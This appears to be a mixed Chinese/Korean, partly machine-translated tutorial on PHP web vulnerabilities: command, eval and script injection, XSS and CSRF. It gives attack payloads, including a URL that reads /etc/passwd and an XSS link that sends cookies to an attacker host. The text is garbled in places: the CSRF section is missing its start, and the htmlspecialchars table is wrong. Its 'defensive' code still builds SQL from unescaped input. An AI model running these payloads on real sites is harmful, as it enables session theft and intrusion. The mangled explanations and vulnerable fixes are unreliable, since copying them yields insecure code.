PHP 취약점에 대해 무엇을 알고 있습니까? (자세한 소개)
- 慕斯원래의
- 2021-05-31 11:43:564051검색
针对PHP的网站主要存在下面几种攻击方式，这里介绍下，大家在书写php代码的时候一定要注意下，本篇文章有一定的参考性！
)
针对PHP的网站主要存在下面几种攻击方式:
命令注入(Command Injection)
eval注入(Eval Injection)
客户端脚本攻击(Script Insertion)
跨网站脚本攻击(Cross Site Scripting, XSS)、SQL注入攻击(SQL injection)
跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
Session 会话劫持(Session Hijacking)
Session 固定攻击(Session Fixation)
HTTP响应拆分攻击(HTTP Response Splitting)
文件上传漏洞(File Upload Attack)
目录穿越漏洞(Directory Traversal)
远程文件包含攻击(Remote Inclusion)
动态函数注入攻击(Dynamic Variable Evaluation)
URL攻击(URL attack)
表单提交欺骗攻击(Spoofed Form Submissions)
HTTP请求欺骗攻击(Spoofed HTTP Requests)
命令注入攻击
PHP中可以使用下列5个函数来执行外部的应用程序或函数
system、exec、passthru、shell_exec、“(与shell_exec功能相同)
函数原型
string system(string command, int &return_var)
command 要执行的命令
return_var 存放执行命令的执行后的状态值
string exec (string command, array &output, int &return_var)
command 要执行的命令
output 获得执行命令输出的每一行字符串
return_var 存放执行命令后的状态值
void passthru (string command, int &return_var)
command 要执行的命令
return_var 存放执行命令后的状态值
string shell_exec (string command)
command 要执行的命令
漏洞实例
例1:
//ex1.php
<?php $dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre class="brush:php;toolbar:false">";
system("ls -al ".$dir);
echo "";
}
?>我们提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以后，命令变成了 system("ls -al | cat /etc/passwd");
eval注入攻击
eval函数将输入的字符串参数当作PHP程序代码来执行
函数原型:
mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候
//ex2.php
<?php $var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了
动态函数
<?php func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程序员原意是想动态调用A和B函数，那我们提交http://www.sectop.com/ex.php?func=phpinfo 漏洞产生
防范方法
尽量不要执行外部命令
使用自定义函数或函数库来替代外部命令的功能
使用escapeshellarg函数来处理命令参数
使用safe_mode_exec_dir指定可执行文件的路径
esacpeshellarg函数会将任何引起参数或命令结束的字符转义，单引号“'”，替换成“\'”，双引号“"”，替换成“\"”，分号“;”替换成“\;”
用safe_mode_exec_dir指定可执行文件的路径，可以把会使用的命令提前放入此路径内
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
客户端脚本植入
客户端脚本植入(Script Insertion)，是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后，攻击者所植入的脚本就会被执行，进而开始攻击。
可以被用作脚本植入的HTML标签一般包括以下几种:
<script>标签标记的javascript和vbscript等页面脚本程序。在<script>标签内可以指定js程序代码，也可以在src属性内指定js文件的URL路径<br/><object>标签标记的对象。这些对象是java applet、多媒体文件和ActiveX控件等。通常在data属性内指定对象的URL路径<br/><embed>标签标记的对象。这些对象是多媒体文件，例如:swf文件。通常在src属性内指定对象的URL路径<br/><applet>标签标记的对象。这些对象是java applet，通常在codebase属性内指定对象的URL路径<br/><form>标签标记的对象。通常在action属性内指定要处理表单数据的web应用程序的URL路径</script>
客户端脚本植入的攻击步骤
1、攻击者注册普通用户后登陆网站
2、打开留言页面，插入攻击的js代码
3、其他用户登录网站（包括管理员），浏览此留言的内容
4、隐藏在留言内容中的js代码被执行，攻击成功
Instance
Database
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL 기본값 ”,
`name` varchar(40) NOT NULL 기본값 ” ,
`email` varchar(25) NOT NULL 기본값 ”,
`question`mediumtext NOT NULL,
`postdate` datetime NOT NULL 기본값 '0000-00-00 00:00:00′,
PRIMARY KEY(`id` )
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='사용자 메시지' AUTO_INCREMENT=69;
//add.php 메시지 삽입
//list.php 메시지 목록
//show.php 메시지 표시
메시지 제출 아래 사진
이 메시지를 열람하면 js 스크립트가 실행됩니다
insert<script>while(1){windows.open();}</script> 무한 팝업 상자
insert<script>location.href="http://www.sectop.com";</script> 피싱 페이지로 이동
하거나 다른 자체 제작된 js 코드를 사용하여 공격
예방 방법
htmlspecialchars 함수를 사용하십시오. 특수 문자를 HTML 인코딩으로 변환하려면
함수 프로토타입
string htmlspecialchars(문자열 문자열, int quote_style, 문자열 charset)
string은 인코딩할 문자열입니다.
quote_style 선택 사항이며, 값은 ENT_COMPAT, ENT_QUOTES, ENT_NOQUOTES가 될 수 있습니다. , 기본값 ENT_COMPAT은 큰따옴표만 변환되고 작은따옴표는 변환되지 않음을 의미합니다. ENT_QUOTES는 큰따옴표와 작은따옴표가 모두 변환된다는 의미입니다.
문자 집합은 선택 사항입니다.
이 함수는 다음 특수 문자를 HTML 인코딩으로 변환합니다:
& —-> "
' —-> ;
> —-> >
php의 98번째 줄을 
XSS Cross-Site Scripting Attack
XSS(Cross Site Scripting), Cross-Site Scripting Attack을 의미하며 CSS(Cascading Style Sheet)와 구별하기 위해 줄여서 사용합니다. XSS교차 사이트 스크립팅은 주로 공격자가 웹 사이트 사용자의 쿠키 또는 기타 개인 데이터를 읽는 데 사용되므로 공격자가 이 데이터를 획득하면 이 사용자인 것처럼 가장하여 웹 사이트에 로그인하고 이 사용자의 권한을 얻을 수 있습니다.
Cross-Site Scripting 공격의 일반적인 단계:1. 공격자는 어떤 방식으로든 대상 사용자에게 xss http 링크를 보냅니다.
2. 대상 사용자는 이 웹사이트에 로그인하고 로그인 중에 공격자가 보낸 xss 링크를 엽니다.
3. 웹사이트 이를 실행한 후 취약한 프로그램이 나타나면 공격자는 http://www.sectop.com/search.php?key=<script>document.location='http://www. hack.com/getcookie.php?cookie='+document.cookie;</script>, 사용자를 속여 클릭하게 한 후 사용자 쿠키 값을 얻을 수 있습니다.
예방 방법:
htmlspecialchars 함수를 사용하여 특수 문자를 HTML 인코딩
함수 프로토타입
string htmlspecialchars (string string , int quote_style, string charset)
string은 인코딩할 문자열입니다.
quote_style은 선택 사항이며 값은 ENT_COMPAT, ENT_QUOTES, ENT_NOQUOTES일 수 있으며 기본값은 ENT_COMPAT입니다. ing 큰따옴표는 있지만 작은따옴표는 아닙니다. ENT_QUOTES는 큰따옴표와 작은따옴표를 모두 변환해야 함을 나타냅니다. ENT_NOQUOTES, 큰따옴표와 작은따옴표가 변환되지 않음을 나타냅니다.
& —-> "
' — -> >
$_SERVER["PHP_SELF"]变量的跨站
在某个表单中，如果提交参数给自己，会用这样的语句
$_SERVER["PHP_SELF"]变量的值为当前页面名称
例:
http://www.sectop.com/get.php
get.php中上述的表单
那么我们提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那么表单变成
存为attack.html，放到自己网站上http://www.sectop.com/attack.html，此页面访问后会自动向目标程序的pass.php提交参数，用户名修改为root，密码修改为root，然后我们去留言板发一条留言，隐藏这个链接，管理访问以后，他的用户名和密码全部修改成了root
防范方法
防范CSRF要比防范其他攻击更加困难，因为CSRF的HTTP请求虽然是攻击者伪造的，但是却是由目标用户发出的，一般常见的防范方法有下面几种:
1、检查网页的来源
2、检查内置的隐藏变量
3、使用POST，不要使用GET
检查网页来源
在//pass.php头部加入以下红色字体代码，验证数据提交
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script>";
echo "alert(‘数据来源异常!');";
&
nbsp; echo " location='index.php';";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br>设计制作：<a>厦门随缘网络科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script>";
echo "alert(‘修改成功！');";
echo " location='pass.php';";
echo "</script>";
}
检查内置隐藏变量
我们在表单中内置一个隐藏变量和一个session变量，然后检查这个隐藏变量和session变量是否相等，以此来判断是否同一个网页所调用
<?phpinclude_once ("dlyz.php");include_once("../conn.php");if($_GET["act"]){if (!isset($_SESSION["post_id"])){ // 生成唯一的ID，并使用MD5来加密 $post_id = md5(uniqid(rand(), true)); // 创建Session变量 $_SESSION["post_id"] = $post_id;}// 检查是否相等if (isset($_SESSION["post_id"])){ // 不相等 if ($_SESSION["post_id"] != $_POST["post_id"]) { // 清除POST变量 unset($_POST); echo "<script language='javascript'>"; echo "alert(‘数据来源异常!');"; echo " location='index.php';"; echo ""; }}
……
<input><input>"> <?php } mysql_close($conn);?>위 내용은 PHP 취약점에 대해 무엇을 알고 있습니까? (자세한 소개)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!